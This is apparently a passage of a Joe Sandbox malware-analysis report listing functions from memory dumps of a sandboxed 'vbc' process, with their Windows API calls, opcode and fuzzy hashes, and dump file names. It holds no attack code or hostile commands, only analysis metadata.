API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 051e81782a83acd00b91df716f924aa9f748da9625b79b21f6ba2053fd3f53a1
Instruction ID: 3a803d116eb7203750ef16afa4399f59373a1409fcd65895bfb0b2f4b3209b36
Opcode Fuzzy Hash: 051e81782a83acd00b91df716f924aa9f748da9625b79b21f6ba2053fd3f53a1
Instruction Fuzzy Hash: 19F0B491A04F00FADE7E0368FD4EBF12A2067E1729F0C4145AA41591BE8E5D1CC6C732

Function 074BF4C0 Relevance: 1.6, APIs: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 074BF564

Memory Dump Source

Source File: 0000002A.00000002.2660779676.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_74b0000_vbc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ee74fb32430a578decbb40d4091a04ee43fcd5610cbab7c8829f61b44ed4c122
Instruction ID: e4172cdb25a28aaa09bfc5db25ef30283d591c6ba8a6cd79d19e6af02b608339
Opcode Fuzzy Hash: ee74fb32430a578decbb40d4091a04ee43fcd5610cbab7c8829f61b44ed4c122
Instruction Fuzzy Hash: C531A7B8D012089FCF20CFA9D984ADEFBF0BB49310F10942AE818B7210D735A945CF68

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 0000002A.00000002.2612727730.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002A.00000002.2612727730.0000000000411000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000413000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000415000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000422000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000440000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000442000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000444000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000446000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000448000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000459000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000461000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B9000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_400000_vbc.jbxd

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 00D14B70 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNEL32(771B2EE0,00000001,?,0000004C,00000000,Function_00004F70,00000000,00000000), ref: 00D14B76

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: a39534d83b044c63ee524c14764bb7529c6b1c4b4c8a7b92f50416e732785cdd
Instruction ID: 80409aef0daf34f305591285f54b6976c1c22cc0fbd771e0c61e4006bb1f39a6
Opcode Fuzzy Hash: a39534d83b044c63ee524c14764bb7529c6b1c4b4c8a7b92f50416e732785cdd
Instruction Fuzzy Hash: 0BE0D859905612F6DE70462879014F46100BB10321FED0783B576C38D18E548DC051B3

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 0000002A.00000002.2612727730.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002A.00000002.2612727730.0000000000411000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000413000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000415000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000422000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000440000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000442000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000444000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000446000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000448000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000459000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000461000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B9000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_400000_vbc.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 074BF790 Relevance: 1.3, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32(?), ref: 074BF80E

Memory Dump Source

Source File: 0000002A.00000002.2660779676.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_74b0000_vbc.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 754eee8723e5ba5089f63256270bc6e5c4d2ef3e108253d9d01eef48c0158242
Instruction ID: e72549c31421d844f99b9fcda6e1c4a3e953ad2bdbd416f87d9f82b0bf1653e3
Opcode Fuzzy Hash: 754eee8723e5ba5089f63256270bc6e5c4d2ef3e108253d9d01eef48c0158242
Instruction Fuzzy Hash: 8831ABB4D112189FCF24CFAAD985ADEFBF4AB49310F14942AE819B7340C735A905CFA4

Function 0731D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2655283229.000000000731D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0731D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_731d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fd1a686c0a123e8c933f5b56b8b9d4b434c6ba1fcde1373798f30149555eefb
Instruction ID: af28647e8c7393fc12cbf0ddb03465dc8f3e5d25c919d2590b463f11cbf91b85
Opcode Fuzzy Hash: 5fd1a686c0a123e8c933f5b56b8b9d4b434c6ba1fcde1373798f30149555eefb
Instruction Fuzzy Hash: CD2122F5614200DFEB18DF14D9C0B26BBA5EB85314F20C66DD80D0B246C336D847CA63

Function 0731D02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2655283229.000000000731D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0731D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_731d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49f01ab7346092539da7b2fb4ebb366b6ab3489dd262bc957b6d93f642452a5a
Instruction ID: ab9eee1df1558e4090bc8b67d018b2e2f042ff0ec2ef097cbb4970e5acfd51c0
Opcode Fuzzy Hash: 49f01ab7346092539da7b2fb4ebb366b6ab3489dd262bc957b6d93f642452a5a
Instruction Fuzzy Hash: ED11BEB5604280CFDB15CF14D9C4B15BF62FB85314F24C6AAD8494B656C33AD84ACB62

Function 0730D007 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2652822744.000000000730D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0730D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_730d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 585b31c1e31f64ddb67b90e75ab235d24d11fd3da3f868802bcc532aad241ec0
Instruction ID: 95ddf219796f7cf62e5186d5ba97c4e475e08c3a0ddcea2f4b0c646b8ba01f18
Opcode Fuzzy Hash: 585b31c1e31f64ddb67b90e75ab235d24d11fd3da3f868802bcc532aad241ec0
Instruction Fuzzy Hash: 26015EB154D3C09FE7124B258C98752BFA8EF43224F1981DBE8888F1E3C2685C45CBB2

Function 0730D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2652822744.000000000730D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0730D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_730d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4ad30accb07ff557f2ad0075c76f99f343baf77bf5ebff490170698c389a000
Instruction ID: 9cf0c62c1190ae8aa812712ab339a9aa0981192a9f4be94d54d47f1887175720
Opcode Fuzzy Hash: e4ad30accb07ff557f2ad0075c76f99f343baf77bf5ebff490170698c389a000
Instruction Fuzzy Hash: 9B01D4F16143409AF7204A51CC84B66BFC8EF42225F08C029EC4C0B5C2C2789845CAF7

Non-executed Functions

Function 00D51361 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00D51459
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00D51463
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,00000000), ref: 00D51470

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 3cf6d14e918ff889318cc528b09367911a1633efb82f107397c3a16bb5ad504b
Instruction ID: 94f566506f8c97f1d9135320cf5ca86c7ab1bdd06aba0ef34befb1814bfb9889
Opcode Fuzzy Hash: 3cf6d14e918ff889318cc528b09367911a1633efb82f107397c3a16bb5ad504b
Instruction Fuzzy Hash: 2531C675901328ABCF21DF68D98979CBBB8EF48311F5042DAE81DA7250E7309F858F65

Function 00D53F3D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,00D53F13,00000003,00D6DE80,0000000C,00D5403D,00000003,00000002,00000000,?,00D52038,00000003), ref: 00D53F5E
TerminateProcess.KERNEL32(00000000,?,00D53F13,00000003,00D6DE80,0000000C,00D5403D,00000003,00000002,00000000,?,00D52038,00000003), ref: 00D53F65
ExitProcess.KERNEL32 ref: 00D53F77

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a6b3346ea0f66fbdc4a242b10ce96f3fcbdf82fcfd0476ccc5d71839038e4aab
Instruction ID: ed3229ade8d36c7ea78ffbee8ffbcd3eab820c0ff849659881dd3b688960e556
Opcode Fuzzy Hash: a6b3346ea0f66fbdc4a242b10ce96f3fcbdf82fcfd0476ccc5d71839038e4aab
Instruction Fuzzy Hash: DAE04631404B08ABCF016F2DDC08A593B39EF44383F044018FC058B222CB39DE56CAB0

Function 00483594 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2612727730.0000000000474000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002A.00000002.2612727730.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000411000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000413000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000415000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000422000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000440000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000442000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000444000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000446000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000448000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000459000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000461000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B9000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da5beaf849cc9916f868562d7cf2760962aee5cc7597a20a15516dd34ea1941
Instruction ID: 41e836234758a3a873b0eb107039dab30ed17283a8094f1e23a75907f2704711
Opcode Fuzzy Hash: 5da5beaf849cc9916f868562d7cf2760962aee5cc7597a20a15516dd34ea1941
Instruction Fuzzy Hash: E931A02190A244BACE32BE1C981467F7B649B65F77F190D97E44066392F22D8F44936C

Function 00D11130 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 00D3CBD0 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 418COMMON

Download Yara Rule

Strings

d, xrefs: 00D3C294
w, xrefs: 00D3C289

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID:
String ID: d$w
API String ID: 0-2400632791
Opcode ID: 264be9a040329af85821a298646ca79b47df90acc0ff67c2c7dab0ac9cff9d18
Instruction ID: 4b94060673c04e2630504e1e7cc5525d4beafb7bbad99c002421bda83c41a385
Opcode Fuzzy Hash: 264be9a040329af85821a298646ca79b47df90acc0ff67c2c7dab0ac9cff9d18
Instruction Fuzzy Hash: 78C12362A3C340AECA3557288C1AB763B649B61770F4C3196FA95F60F3D755AC08A732

Function 00D524FF Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00D52543

Part of subcall function 00D53073: _free.LIBCMT ref: 00D53090
Part of subcall function 00D53073: _free.LIBCMT ref: 00D530A2
Part of subcall function 00D53073: _free.LIBCMT ref: 00D530B4
Part of subcall function 00D53073: _free.LIBCMT ref: 00D530C6
Part of subcall function 00D53073: _free.LIBCMT ref: 00D530D8
Part of subcall function 00D53073: _free.LIBCMT ref: 00D530EA
Part of subcall function 00D53073: _free.LIBCMT ref: 00D530FC
Part of subcall function 00D53073: _free.LIBCMT ref: 00D5310E
Part of subcall function 00D53073: _free.LIBCMT ref: 00D53120
Part of subcall function 00D53073: _free.LIBCMT ref: 00D53132
Part of subcall function 00D53073: _free.LIBCMT ref: 00D53144
Part of subcall function 00D53073: _free.LIBCMT ref: 00D53156
Part of subcall function 00D53073: _free.LIBCMT ref: 00D53168

_free.LIBCMT ref: 00D52538

Part of subcall function 00D52096: HeapFree.KERNEL32(00000000,00000000,?,00D53208,?,00000000,?,00000000,?,00D5322F,?,00000007,?,?,00D52697,?), ref: 00D520AC
Part of subcall function 00D52096: GetLastError.KERNEL32(?,?,00D53208,?,00000000,?,00000000,?,00D5322F,?,00000007,?,?,00D52697,?,?), ref: 00D520BE

_free.LIBCMT ref: 00D5255A
_free.LIBCMT ref: 00D5256F
_free.LIBCMT ref: 00D5257A
_free.LIBCMT ref: 00D5259C
_free.LIBCMT ref: 00D525AF
_free.LIBCMT ref: 00D525BD
_free.LIBCMT ref: 00D525C8
_free.LIBCMT ref: 00D52600
_free.LIBCMT ref: 00D52607
_free.LIBCMT ref: 00D52624
_free.LIBCMT ref: 00D5263C

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 717549f5622e2730353b043ce6f38bbcb63c982a7e9777203f386abd2db88767
Instruction ID: 720878af43a6430775b64a497160732ba3e95374e72187018ff23ba9fecf5115
Opcode Fuzzy Hash: 717549f5622e2730353b043ce6f38bbcb63c982a7e9777203f386abd2db88767
Instruction Fuzzy Hash: EC311A71A007059BEF31AA78D845B66B3E9FB02352F184429EC5AD7191EE71ED8CCB30

Function 00D57B9C Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00D58311,?,00000000,?,00000000,00000000), ref: 00D57BDE
__fassign.LIBCMT ref: 00D57C59
__fassign.LIBCMT ref: 00D57C74
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00D57C9A
WriteFile.KERNEL32(?,?,00000000,00D58311,00000000,?,?,?,?,?,?,?,?,?,00D58311,?), ref: 00D57CB9
WriteFile.KERNEL32(?,?,00000001,00D58311,00000000,?,?,?,?,?,?,?,?,?,00D58311,?), ref: 00D57CF2

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 0c907ee0a317d17608f1e5af4edf363380f5a39cb0587f9ec3ef9cb7410d2e93
Instruction ID: 1c292177a7f5b8687450b824f7aaafd5fd1855c6586f7ab18d2d0bb7827509d6
Opcode Fuzzy Hash: 0c907ee0a317d17608f1e5af4edf363380f5a39cb0587f9ec3ef9cb7410d2e93
Instruction Fuzzy Hash: A6517071A043499FCF10CFA8E885AEEBBF4EF09301F24455AED59E7291E6309945CBB1

Function 00D53216 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D531DA: _free.LIBCMT ref: 00D53203

_free.LIBCMT ref: 00D53264

Part of subcall function 00D52096: HeapFree.KERNEL32(00000000,00000000,?,00D53208,?,00000000,?,00000000,?,00D5322F,?,00000007,?,?,00D52697,?), ref: 00D520AC
Part of subcall function 00D52096: GetLastError.KERNEL32(?,?,00D53208,?,00000000,?,00000000,?,00D5322F,?,00000007,?,?,00D52697,?,?), ref: 00D520BE

_free.LIBCMT ref: 00D5326F
_free.LIBCMT ref: 00D5327A
_free.LIBCMT ref: 00D532CE
_free.LIBCMT ref: 00D532D9
_free.LIBCMT ref: 00D532E4
_free.LIBCMT ref: 00D532EF

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fcd263e1e97f9626aa0bdc167c26919d6134e182e28646451650430cd4015995
Instruction ID: e8d9b8a5c2236fcaf7743f33c9878cb621996e1dd84f888cf7ce537210261c51
Opcode Fuzzy Hash: fcd263e1e97f9626aa0bdc167c26919d6134e182e28646451650430cd4015995
Instruction Fuzzy Hash: 0711FC72A41B04AADD30FBB0CC07FDB779CEF06742F444C15BE9AA6092DA65A60C8770

Function 0040C73D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Strings

'B, xrefs: 0040C70F

Memory Dump Source

Source File: 0000002A.00000002.2612727730.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002A.00000002.2612727730.0000000000411000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000413000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000415000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000422000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000440000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000442000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000444000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000446000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000448000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000459000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000461000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B9000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_400000_vbc.jbxd

Similarity

API ID: __fileno$__lock_file
String ID: 'B
API String ID: 90028640-2787509829
Opcode ID: 1f8bbaa44f9990446b1d1c28f2d2b7d5c9b6dbab54d1b4072eff8aa4ab07f8e7
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 1f8bbaa44f9990446b1d1c28f2d2b7d5c9b6dbab54d1b4072eff8aa4ab07f8e7
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Function 00D544E9 Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,00D5473A,?,?,00000000), ref: 00D54543
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,00D5473A,?,?,00000000,?,?,?), ref: 00D545C9
